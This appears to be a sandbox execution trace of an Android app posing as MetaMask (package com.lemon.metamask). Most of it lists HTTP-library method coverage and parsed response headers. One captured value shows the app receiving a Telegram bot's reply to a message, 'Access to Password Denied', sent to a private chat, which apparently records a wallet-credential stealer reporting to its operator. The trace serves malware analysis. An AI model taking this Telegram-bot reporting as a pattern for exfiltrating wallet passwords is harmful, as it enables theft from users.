        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@1b0b593
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@f3834bf
        Method: cz.msebera.android.httpclient.impl.client.AbstractHttpClient.doExecute:152 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@4e2771f
        • $1: Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@a4a32fc
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@5bad78c
        Method: cz.msebera.android.httpclient.impl.client.AbstractHttpClient.doExecute:152 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@4c024ca
        • $1: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@42b9d01
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@829ed5
        Method: com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@22deaa4
        • $1: Server: nginx/1.12.2
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@637369c
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Server: nginx/1.12.2
        Method: com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@c76120e
        • $1: Date: Tue, 12 Feb 2019 13:29:49 GMT
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@3723e46
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Date: Tue, 12 Feb 2019 13:29:49 GMT
        Method: com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@1ea3c
        • $1: Content-Type: application/json
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@783f8d2
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Type: application/json
        Method: com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@faed44b
        • $1: Content-Length: 243
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@829f0ff
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Length: 243
        Method: com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@a2654e6
        • $1: Connection: keep-alive
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@41e4354
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection: keep-alive
        Method: com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@ec5167d
        • $1: Access-Control-Allow-Origin: *
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@783f8d2
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Origin: *
        Method: com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@fe9da40
        • $1: Access-Control-Allow-Methods: GET, POST, OPTIONS
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@1b0b593
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Methods: GET, POST, OPTIONS
        Method: com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@4e2771f
        • $1: Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@a4a32fc
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
        Method: com.loopj.android.http.AsyncHttpResponseHandler.sendResponseMessage:55 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@4c024ca
        • $1: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@42b9d01
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
        Method: com.lemon.metamask.Activity.MainActivity$4.onSuccess:2 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [B@30581a7
        • $1: {"ok":true,"result":{"message_id":208,"from":{"id":733454717,"is_bot":true,"first_name":"L3m0nM4sk","username":"L3m0nM4sk_bot"},"chat":{"id":556050782,"first_name":"Josh","type":"private"},"date":1549978189,"text":"Access to Password Denied"}}
        • $2: 7B226F6B223A747275652C22726573756C74223A7B226D6573736167655F6964223A3230382C2266726F6D223A7B226964223A3733333435343731372C2269735F626F74223A747275652C2266697273745F6E616D65223A224C336D306E4D34736B222C22757365726E616D65223A224C336D306E4D34736B5F626F74227D2C2263686174223A7B226964223A3535363035303738322C2266697273745F6E616D65223A224A6F7368222C2274797065223A2270726976617465227D2C2264617465223A313534393937383138392C2274657874223A2241636365737320746F2050617373776F72642044656E696564227D7D
        NameTypeValue
        Return Valuejava.lang.String
        • toString: {"ok":true,"result":{"message_id":208,"from":{"id":733454717,"is_bot":true,"first_name":"L3m0nM4sk","username":"L3m0nM4sk_bot"},"chat":{"id":556050782,"first_name":"Josh","type":"private"},"date":1549978189,"text":"Access to Password Denied"}}
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.RouteSpecificPool.freeEntry:22 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.RouteSpecificPool.freeEntry:26 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.RouteSpecificPool.freeEntry:40 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.RouteSpecificPool.freeEntry:44 Show source
        Method: cz.msebera.android.httpclient.message.BufferedHeader.<init>:37 Show source
        Method: cz.msebera.android.httpclient.message.BufferedHeader.<init>:42 Show source
        Method: cz.msebera.android.httpclient.message.BufferedHeader.<init>:56 Show source
        Method: cz.msebera.android.httpclient.message.BufferedHeader.<init>:61 Show source
        Method: cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:110 Show source
        Method: cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:112 Show source
        Method: cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:145 Show source
        Method: cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:147 Show source
        Method: cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:193 Show source
        Method: cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:196 Show source
        Method: cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:200 Show source
        Method: cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:204 Show source
        Method: cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:226 Show source
        Method: cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:230 Show source
        Method: ..:19 Show source
        Method: ..:24 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.deleteEntry:17 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.deleteEntry:19 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.deleteEntry:23 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.deleteEntry:28 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.deleteEntry:32 Show source
        Method: ..:36 Show source
        Method: ..:38 Show source
        Method: ..:42 Show source
        Method: ..:21 Show source
        Method: ..:23 Show source
        Method: ..:27 Show source
        Method: ..:20 Show source
        Method: ..:22 Show source
        Method: cz.msebera.android.httpclient.impl.conn.SingleClientConnManager.releaseConnection:21 Show source
        Method: cz.msebera.android.httpclient.impl.conn.SingleClientConnManager.releaseConnection:23 Show source
        Method: ..:14 Show source
        Method: ..:16 Show source
        Method: ..:20 Show source
        Method: ..:22 Show source
        Method: cz.msebera.android.httpclient.impl.auth.BasicScheme.authenticate:23 Show source
        Method: cz.msebera.android.httpclient.impl.auth.BasicScheme.authenticate:27 Show source
        Method: cz.msebera.android.httpclient.impl.auth.BasicScheme.authenticate:39 Show source
        Method: cz.msebera.android.httpclient.extras.PRNGFixes.installLinuxPRNGSecureRandom:71 Show source
        Method: cz.msebera.android.httpclient.extras.PRNGFixes.installLinuxPRNGSecureRandom:79 Show source
        Method: cz.msebera.android.httpclient.extras.PRNGFixes.installLinuxPRNGSecureRandom:100 Show source
        Method: cz.msebera.android.httpclient.extras.PRNGFixes.installLinuxPRNGSecureRandom:108 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectHandler.getLocationURI:32 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectHandler.getLocationURI:34 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectHandler.getLocationURI:38 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectHandler.getLocationURI:108 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectHandler.getLocationURI:110 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectHandler.getLocationURI:114 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectHandler.getLocationURI:184 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectHandler.getLocationURI:186 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectHandler.getLocationURI:190 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectHandler.getLocationURI:206 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectHandler.getLocationURI:208 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectHandler.getLocationURI:222 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectHandler.getLocationURI:227 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectHandler.getLocationURI:231 Show source
        Method: ..:8 Show source
        Method: ..:11 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies.formatCooke:7 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies.formatCooke:11 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies.formatCooke:29 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies.formatCooke:33 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies.formatCooke:38 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies.formatCooke:42 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies.formatCooke:46 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies.formatCooke:54 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies.formatCooke:58 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies.formatCooke:63 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies.formatCooke:67 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies.formatCooke:72 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies.formatCooke:76 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies.formatCooke:81 Show source
        Method: ..:26 Show source
        Method: ..:28 Show source
        Method: ..:12 Show source
        Method: ..:14 Show source
        Method: ..:45 Show source
        Method: ..:50 Show source
        Method: cz.msebera.android.httpclient.impl.conn.ProxySelectorRoutePlanner.determineProxy:58 Show source
        Method: cz.msebera.android.httpclient.impl.conn.ProxySelectorRoutePlanner.determineProxy:63 Show source
        Method: cz.msebera.android.httpclient.impl.conn.ProxySelectorRoutePlanner.determineProxy:79 Show source
        Method: cz.msebera.android.httpclient.impl.conn.ProxySelectorRoutePlanner.determineProxy:81 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.shutdown:60 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.shutdown:65 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.shutdown:69 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.shutdown:74 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.shutdown:78 Show source
        Method: ..:53 Show source
        Method: ..:55 Show source
        Method: ..:59 Show source
        Method: ..:61 Show source
        Method: ..:6 Show source
        Method: ..:11 Show source
        Method: ..:15 Show source
        Method: ..:27 Show source
        Method: ..:32 Show source
        Method: ..:7 Show source
        Method: ..:11 Show source
        Method: ..:16 Show source
        Method: ..:20 Show source
        Method: ..:25 Show source
        Method: cz.msebera.android.httpclient.message.BasicTokenIterator.findTokenSeparator:41 Show source
        Method: cz.msebera.android.httpclient.message.BasicTokenIterator.findTokenSeparator:43 Show source
        Method: cz.msebera.android.httpclient.message.BasicTokenIterator.findTokenSeparator:47 Show source
        Method: cz.msebera.android.httpclient.message.BasicTokenIterator.findTokenSeparator:51 Show source
        Method: cz.msebera.android.httpclient.message.BasicTokenIterator.findTokenSeparator:65 Show source
        Method: cz.msebera.android.httpclient.message.BasicTokenIterator.findTokenSeparator:67 Show source
        Method: cz.msebera.android.httpclient.message.BasicTokenIterator.findTokenSeparator:71 Show source
        Method: cz.msebera.android.httpclient.message.BasicTokenIterator.findTokenSeparator:75 Show source
        Method: cz.msebera.android.httpclient.util.ByteArrayBuffer.append:34 Show source
        Method: cz.msebera.android.httpclient.util.ByteArrayBuffer.append:36 Show source
        Method: cz.msebera.android.httpclient.util.ByteArrayBuffer.append:40 Show source
        Method: cz.msebera.android.httpclient.util.ByteArrayBuffer.append:42 Show source
        Method: cz.msebera.android.httpclient.util.ByteArrayBuffer.append:46 Show source
        Method: cz.msebera.android.httpclient.util.ByteArrayBuffer.append:49 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRequestDirector.createTunnelToTarget:167 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRequestDirector.createTunnelToTarget:172 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRequestDirector.createTunnelToTarget:192 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRequestDirector.createTunnelToTarget:197 Show source
        Method: ..:4 Show source
        Method: ..:7 Show source
        Method: ..:9 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:6 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:9 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:13 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:17 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:21 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:25 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:29 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:32 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:36 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:40 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:44 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:47 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:51 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:54 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:58 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:61 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:65 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:68 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:72 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:75 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:79 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:83 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:87 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:91 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:95 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:98 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:102 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:105 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:109 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:112 Show source
        Method: cz.msebera.android.httpclient.client.config.RequestConfig.toString:116 Show source
        Method: cz.msebera.android.httpclient.impl.io.ChunkedInputStream.read:49 Show source
        Method: cz.msebera.android.httpclient.impl.io.ChunkedInputStream.read:52 Show source
        Method: cz.msebera.android.httpclient.impl.io.ChunkedInputStream.read:56 Show source
        Method: cz.msebera.android.httpclient.impl.io.ChunkedInputStream.read:59 Show source
        Method: cz.msebera.android.httpclient.impl.io.ChunkedInputStream.read:63 Show source
        Method: cz.msebera.android.httpclient.conn.MultihomePlainSocketFactory.connectSocket:75 Show source
        Method: cz.msebera.android.httpclient.conn.MultihomePlainSocketFactory.connectSocket:77 Show source
        Method: cz.msebera.android.httpclient.conn.MultihomePlainSocketFactory.connectSocket:81 Show source
        Method: ..:33 Show source
        Method: ..:41 Show source
        Method: cz.msebera.android.httpclient.pool.PoolEntry.toString:6 Show source
        Method: cz.msebera.android.httpclient.pool.PoolEntry.toString:10 Show source
        Method: cz.msebera.android.httpclient.pool.PoolEntry.toString:14 Show source
        Method: cz.msebera.android.httpclient.pool.PoolEntry.toString:18 Show source
        Method: cz.msebera.android.httpclient.pool.PoolEntry.toString:22 Show source
        Method: cz.msebera.android.httpclient.pool.PoolEntry.toString:26 Show source
        Method: cz.msebera.android.httpclient.pool.PoolEntry.toString:30 Show source
        Method: ..:38 Show source
        Method: ..:40 Show source
        Method: ..:44 Show source
        Method: ..:46 Show source
        Method: ..:50 Show source
        Method: ..:53 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:192 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:194 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:196 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:198 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:200 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:217 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:219 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:221 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:223 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:227 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:239 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:241 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:243 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:245 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:247 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:270 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:272 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:274 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:307 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:309 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:311 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:339 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:341 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:343 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:345 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:353 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:369 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:371 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:373 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:394 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:396 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:398 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:400 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:402 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:411 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:413 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:415 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:417 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:419 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:421 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:425 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:427 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:436 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:438 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:440 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:618 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:620 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:634 Show source
        Method: cz.msebera.android.httpclient.impl.auth.DigestScheme.createDigestHeader:636 Show source
        Method: cz.msebera.android.httpclient.impl.execchain.ProtocolExec.execute:55 Show source
        Method: cz.msebera.android.httpclient.impl.execchain.ProtocolExec.execute:57 Show source
        Method: cz.msebera.android.httpclient.impl.execchain.ProtocolExec.execute:61 Show source
        Method: cz.msebera.android.httpclient.impl.execchain.ProtocolExec.execute:65 Show source
        Method: cz.msebera.android.httpclient.impl.execchain.ProtocolExec.execute:122 Show source
        Method: cz.msebera.android.httpclient.impl.execchain.ProtocolExec.execute:124 Show source
        Method: com.loopj.android.http.PersistentCookieStore.clearExpired:44 Show source
        Method: com.loopj.android.http.PersistentCookieStore.clearExpired:46 Show source
        Method: ..:18 Show source
        Method: ..:20 Show source
        Method: ..:24 Show source
        Method: ..:32 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicDomainHandler.validate:55 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicDomainHandler.validate:57 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicDomainHandler.validate:61 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicDomainHandler.validate:63 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicDomainHandler.validate:67 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicDomainHandler.validate:86 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicDomainHandler.validate:88 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicDomainHandler.validate:92 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicDomainHandler.validate:94 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicDomainHandler.validate:98 Show source
        Method: ..:48 Show source
        Method: ..:50 Show source
        Method: ..:44 Show source
        Method: ..:46 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.NetscapeDomainHandler.validate:41 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.NetscapeDomainHandler.validate:43 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.NetscapeDomainHandler.validate:47 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.NetscapeDomainHandler.validate:51 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.NetscapeDomainHandler.validate:68 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.NetscapeDomainHandler.validate:70 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.NetscapeDomainHandler.validate:74 Show source
        Method: ..:6 Show source
        Method: ..:13 Show source
        Method: ..:17 Show source
        Method: ..:27 Show source
        Method: ..:29 Show source
        Method: ..:7 Show source
        Method: ..:10 Show source
        Method: ..:14 Show source
        Method: ..:19 Show source
        Method: ..:23 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy.getLocationURI:43 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy.getLocationURI:45 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy.getLocationURI:49 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy.getLocationURI:100 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy.getLocationURI:102 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy.getLocationURI:106 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy.getLocationURI:143 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy.getLocationURI:145 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy.getLocationURI:149 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy.getLocationURI:174 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy.getLocationURI:179 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy.getLocationURI:183 Show source
        Method: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$HMACMD5.<init>:76 Show source
        Method: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$HMACMD5.<init>:81 Show source
        Method: cz.msebera.android.httpclient.util.VersionInfo.getUserAgent:32 Show source
        Method: cz.msebera.android.httpclient.util.VersionInfo.getUserAgent:36 Show source
        Method: cz.msebera.android.httpclient.util.VersionInfo.getUserAgent:38 Show source
        Method: cz.msebera.android.httpclient.util.VersionInfo.getUserAgent:42 Show source
        Method: cz.msebera.android.httpclient.util.VersionInfo.getUserAgent:44 Show source
        Method: cz.msebera.android.httpclient.util.VersionInfo.getUserAgent:48 Show source
        Method: ..:17 Show source
        Method: ..:22 Show source
        Method: ..:26 Show source
        Method: ..:31 Show source
        Method: ..:35 Show source
        Method: com.lemon.metamask.Activity.MainActivity.onResume:23 Show source
        Method: com.lemon.metamask.Activity.MainActivity.onResume:27 Show source
        Method: com.lemon.metamask.Activity.MainActivity.onResume:31 Show source
        Method: com.lemon.metamask.Activity.MainActivity.onResume:35 Show source
        Method: com.lemon.metamask.Activity.MainActivity.onResume:39 Show source
        Method: com.lemon.metamask.Activity.MainActivity.onResume:41 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseContentEncoding.process:78 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseContentEncoding.process:83 Show source
        Method: cz.msebera.android.httpclient.auth.AuthState.toString:6 Show source
        Method: cz.msebera.android.httpclient.auth.AuthState.toString:10 Show source
        Method: cz.msebera.android.httpclient.auth.AuthState.toString:14 Show source
        Method: cz.msebera.android.httpclient.auth.AuthState.toString:21 Show source
        Method: cz.msebera.android.httpclient.auth.AuthState.toString:28 Show source
        Method: cz.msebera.android.httpclient.auth.AuthState.toString:32 Show source
        Method: cz.msebera.android.httpclient.auth.AuthState.toString:39 Show source
        Method: ..:35 Show source
        Method: ..:40 Show source
        Method: ..:138 Show source
        Method: ..:148 Show source
        Method: com.loopj.android.http.PersistentCookieStore.<init>:39 Show source
        Method: com.loopj.android.http.PersistentCookieStore.<init>:41 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRequestDirector.tryConnect:68 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRequestDirector.tryConnect:76 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRequestDirector.tryConnect:80 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRequestDirector.tryConnect:82 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRequestDirector.tryConnect:86 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRequestDirector.tryConnect:91 Show source
